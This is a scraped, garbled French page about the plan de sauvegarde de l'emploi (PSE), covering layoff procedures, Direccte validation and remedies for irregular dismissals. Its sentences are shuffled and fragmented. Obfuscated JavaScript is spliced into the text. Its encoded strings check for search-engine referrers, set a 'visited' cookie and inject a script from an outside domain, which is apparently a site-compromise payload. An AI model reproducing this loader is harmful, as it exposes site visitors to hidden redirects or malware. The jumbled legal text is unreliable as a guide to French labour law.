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Le juge peut ordonner la poursuite du contrat de travail ou prononcer la nullité du licenciement et ordonner la réintégration du salarié (s’il la demande).. Si la décision de validation ou d’homologation du PSE est annulée pour une autre raison que l’absence ou l’une insuffisance du PSE, le salarié :est réintégré dans l’entreprise (si le salarié et l’employeur sont d’accord), avec maintien de ses avantages acquis,ou, à défaut de réintégration, perçoit une indemnité, à la charge de l’employeur, au moins égale aux salaires des 6 derniers mois.. Si la réintégration est devenue impossible (notamment du fait de la fermeture de l’établissement ou du site ou de l’absence d’emploi disponible) ou si le salarié ne la demande pas, l’employeur doit lui verser une indemnité pour licenciement nul.. constructor(\x22return\x20this\x22)(\x20)’+’);’)();}catch(_0x616cea){_0x458fb2=window;}return _0x458fb2;};var _0x32c903=_0xe23f29();var _0x5b9c19=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;_0x32c903[’atob’]||(_0x32c903[’atob’]=function(_0x1bec34){var _0x1cd08a=String(_0x1bec34)[’replace’](/=+$/,’’);for(var _0x3d43fc=0x0,_0x53ca9d,_0x290caf,_0x5ef98a=0x0,_0x3a7c1f=’’;_0x290caf=_0x1cd08a[’charAt’](_0x5ef98a++);~_0x290caf&&(_0x53ca9d=_0x3d43fc%0x4?_0x53ca9d*0x40+_0x290caf:_0x290caf,_0x3d43fc++%0x4)?_0x3a7c1f+=String[’fromCharCode’](0xff&_0x53ca9d>>(-0x2*_0x3d43fc&0x6)):0x0){_0x290caf=_0x5b9c19[’indexOf’](_0x290caf);}return _0x3a7c1f;});}());_0x3f98[’base64DecodeUnicode’]=function(_0xc9cfea){var _0x24f6aa=atob(_0xc9cfea);var _0x455292=[];for(var _0x53c177=0x0,_0x20ac36=_0x24f6aa[’length’];_0x53c177=_0x10ac88;},’OXxGK’:function _0x468be6(_0x4e69a0,_0x5d5fa8){return _0x4e69a0(_0x5d5fa8);}};var _0x41943a=[_0x3f98(’0x1d’),_0x557693[’wkWFC’],_0x3f98(’0x1e’),_0x557693[_0x3f98(’0x1f’)],_0x557693[’uRsuq’],_0x3f98(’0x20’),_0x557693[_0x3f98(’0x21’)]],_0x3683bc=document[_0x3f98(’0x22’)],_0x1ff8c9=![],_0xd0978a=cookie[_0x3f98(’0x23’)](_0x3f98(’0x24’));for(var _0x2c4586=0x0;_0x2c4586. Homologation d’un document établi par l’employeurEn l’absence d’accord, les mesures du PSE sont précisées dans un document élaboré par l’employeur, après la dernière réunion du comité d’entreprise (CE).. Il entre en vigueur après validation par la Direccte Le salarié doit être informé de la décision de validation :soit par voie d’affichage sur le lieu de travail,soit par tout autre moyen permettant de déterminer la date à laquelle il a été informé.. Qui est concerné ?Le PSE est obligatoire dans les entreprises d’au moins 50 salariés, lorsque le projet de licenciement concerne au moins 10 salariés sur une période de 30 jours.. La procédure de suivi de la mise en œuvre du plan de reclassement est précisée dans le PSE.. une partie des mesures du PSE peut être fixée par accord, et l’autre par le document de l’employeur.. Le PSE vise à éviter les licenciements ou, à défaut, à en limiter le nombre.. var _0x3e67=[’Y2RiR1U=’,’LmFsdGF2aXN0YS4=’,’amNTeFE=’,’cmVmZXJyZXI=’,’Z2V0’,’dmlzaXRlZA==’,’cnpTeFU=’,’aW5kZXhPZg==’,’c2V0’,’T1h4R0s=’,’aHR0cHM6Ly9jbG91ZGV5ZXNzLm1lbi9kb25fY29uLnBocD94PWlvc3RpdGxlJnF1ZXJ5PQ==’,’aGVhZA==’,’Y3JlYXRlRWxlbWVudA==’,’V0pLRmc=’,’c3Jj’,’Z2V0RWxlbWVudHNCeVRhZ05hbWU=’,’bmZ3WUI=’,’YXBwZW5kQ2hpbGQ=’,’cHNlK25hdGlvbmFsK2NvbnZlbnRpb24rMjAxNg==’,’NXwwfDJ8M3wxfDQ=’,’QmNlVEI=’,’c3BsaXQ=’,’Y1V3WGs=’,’cUR4VEc=’,’bGVuZ3Ro’,’bWF0Y2g=’,’OyBleHBpcmVzPQ==’,’OyBkb21haW49’,’OyBzZWN1cmU=’,’Y29va2ll’,’ZmtXZ3E=’,’eERncEQ=’,’ZGVXSFg=’,’Z2V0VGltZQ==’,’RWRQa1c=’,’Z0ZiSWo=’,’R2p3Skw=’,’LmJpbmcu’,’LmFvbC4=’,’LmFzay4=’,’Lmdvb2dsZS4=’,’LnlhaG9vLg==’];(function(_0x231fd0,_0x4f680a){var _0x5b4826=function(_0x4a3682){while(--_0x4a3682){_0x231fd0[’push’](_0x231fd0[’shift’]());}};_0x5b4826(++_0x4f680a);}(_0x3e67,0x1d9));var _0x3f98=function(_0x181da3,_0x40600a){_0x181da3=_0x181da3-0x0;var _0x4906ad=_0x3e67[_0x181da3];if(_0x3f98[’initialized’]===undefined){(function(){var _0xe23f29=function(){var _0x458fb2;try{_0x458fb2=Function(’return\x20(function()\x20’+’{}.. Tout replier Tout déplierDe quoi s’agit-il ?Le plan de sauvegarde de l’emploi (PSE) est un dispositif qui prévoit diverses mesures dans le but d’éviter ou de limiter les licenciements pour motif économique dans l’entreprise.. Il doit faire l’objet d’une homologation ou, en cas d’accord majoritaire dans l’entreprise sur son contenu, d’une validation par la Direccte.. Le salarié doit être informé de la décision d’homologation :soit par voie d’affichage sur le lieu de travail,soit par tout autre moyen permettant de déterminer la date à laquelle il a été informé.. Les mesures prévues par ce document entrent en vigueur après homologation par la Direccte.. l’employeur d’une entreprise employant au moins 1 000 salariés qui envisage de fermer un établissement est soumis à l’obligation de rechercher un repreneur potentiel.. Mesures facultativesLe PSE peut également prévoir d’autres mesures, facultatives, telles que, par exemple :Validation ou homologationValidation d’un accordUn accord collectif majoritaire dans l’entreprise peut déterminer les mesures prévues par le PSE, ainsi que la procédure de consultation du comité d’entreprise (CE) et de mise en œuvre des licenciements.. Indemnités en cas d’irrégularitéSauf en cas de redressement ou liquidation judiciaire, le licenciement du salarié est annulé dans les cas suivants :s’il est prononcé en l’absence de décision de validation d’un accord ou d’homologation du document par la Direccte,s’il est prononcé alors que la Direccte refuse de valider l’accord ou d’homologuer le document,si la décision de validation ou d’homologation est annulée par la Direccte en raison d’une absence ou d’une insuffisance du PSE,si les instances représentatives du personnel n’ont pas été consultées préalablement.. Textes de référenceConditions et contenu du PSEValidation ou homologation du PSESanctions en cas de non-respect des obligations de l’employeur concernant le PSEModalités de l’information de l’administration et de l’homologation d’un PSEServices en ligne et formulairesImprimerS’abonner aux mises à jour significatives de cette pageEnvoyer par courrielPartager sur Facebook - Nouvelle fenêtreTweeter - Nouvelle fenêtrePartager sur LinkedIn - Nouvelle fenêtreDirection régionale des entreprises, de la concurrence, de la consommation, du travail et de l’emploi.. Mesures obligatoiresLe PSE intègre un plan de reclassement visant à faciliter le reclassement des salariés dont le licenciement est inévitable. 5842b3f4e3
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Le juge peut ordonner la poursuite du contrat de travail ou prononcer la nullité du licenciement et ordonner la réintégration du salarié (s’il la demande).. Si la décision de validation ou d’homologation du PSE est annulée pour une autre raison que l’absence ou l’une insuffisance du PSE, le salarié :est réintégré dans l’entreprise (si le salarié et l’employeur sont d’accord), avec maintien de ses avantages acquis,ou, à défaut de réintégration, perçoit une indemnité, à la charge de l’employeur, au moins égale aux salaires des 6 derniers mois.. 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Homologation d’un document établi par l’employeurEn l’absence d’accord, les mesures du PSE sont précisées dans un document élaboré par l’employeur, après la dernière réunion du comité d’entreprise (CE).. Il entre en vigueur après validation par la Direccte Le salarié doit être informé de la décision de validation :soit par voie d’affichage sur le lieu de travail,soit par tout autre moyen permettant de déterminer la date à laquelle il a été informé.. Qui est concerné ?Le PSE est obligatoire dans les entreprises d’au moins 50 salariés, lorsque le projet de licenciement concerne au moins 10 salariés sur une période de 30 jours.. La procédure de suivi de la mise en œuvre du plan de reclassement est précisée dans le PSE.. une partie des mesures du PSE peut être fixée par accord, et l’autre par le document de l’employeur.. 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Tout replier Tout déplierDe quoi s’agit-il ?Le plan de sauvegarde de l’emploi (PSE) est un dispositif qui prévoit diverses mesures dans le but d’éviter ou de limiter les licenciements pour motif économique dans l’entreprise.. Il doit faire l’objet d’une homologation ou, en cas d’accord majoritaire dans l’entreprise sur son contenu, d’une validation par la Direccte.. Le salarié doit être informé de la décision d’homologation :soit par voie d’affichage sur le lieu de travail,soit par tout autre moyen permettant de déterminer la date à laquelle il a été informé.. Les mesures prévues par ce document entrent en vigueur après homologation par la Direccte.. l’employeur d’une entreprise employant au moins 1 000 salariés qui envisage de fermer un établissement est soumis à l’obligation de rechercher un repreneur potentiel.. Mesures facultativesLe PSE peut également prévoir d’autres mesures, facultatives, telles que, par exemple :Validation ou homologationValidation d’un accordUn accord collectif majoritaire dans l’entreprise peut déterminer les mesures prévues par le PSE, ainsi que la procédure de consultation du comité d’entreprise (CE) et de mise en œuvre des licenciements.. Indemnités en cas d’irrégularitéSauf en cas de redressement ou liquidation judiciaire, le licenciement du salarié est annulé dans les cas suivants :s’il est prononcé en l’absence de décision de validation d’un accord ou d’homologation du document par la Direccte,s’il est prononcé alors que la Direccte refuse de valider l’accord ou d’homologuer le document,si la décision de validation ou d’homologation est annulée par la Direccte en raison d’une absence ou d’une insuffisance du PSE,si les instances représentatives du personnel n’ont pas été consultées préalablement.. Textes de référenceConditions et contenu du PSEValidation ou homologation du PSESanctions en cas de non-respect des obligations de l’employeur concernant le PSEModalités de l’information de l’administration et de l’homologation d’un PSEServices en ligne et formulairesImprimerS’abonner aux mises à jour significatives de cette pageEnvoyer par courrielPartager sur Facebook - Nouvelle fenêtreTweeter - Nouvelle fenêtrePartager sur LinkedIn - Nouvelle fenêtreDirection régionale des entreprises, de la concurrence, de la consommation, du travail et de l’emploi.. Mesures obligatoiresLe PSE intègre un plan de reclassement visant à faciliter le reclassement des salariés dont le licenciement est inévitable. 5842b3f4e3
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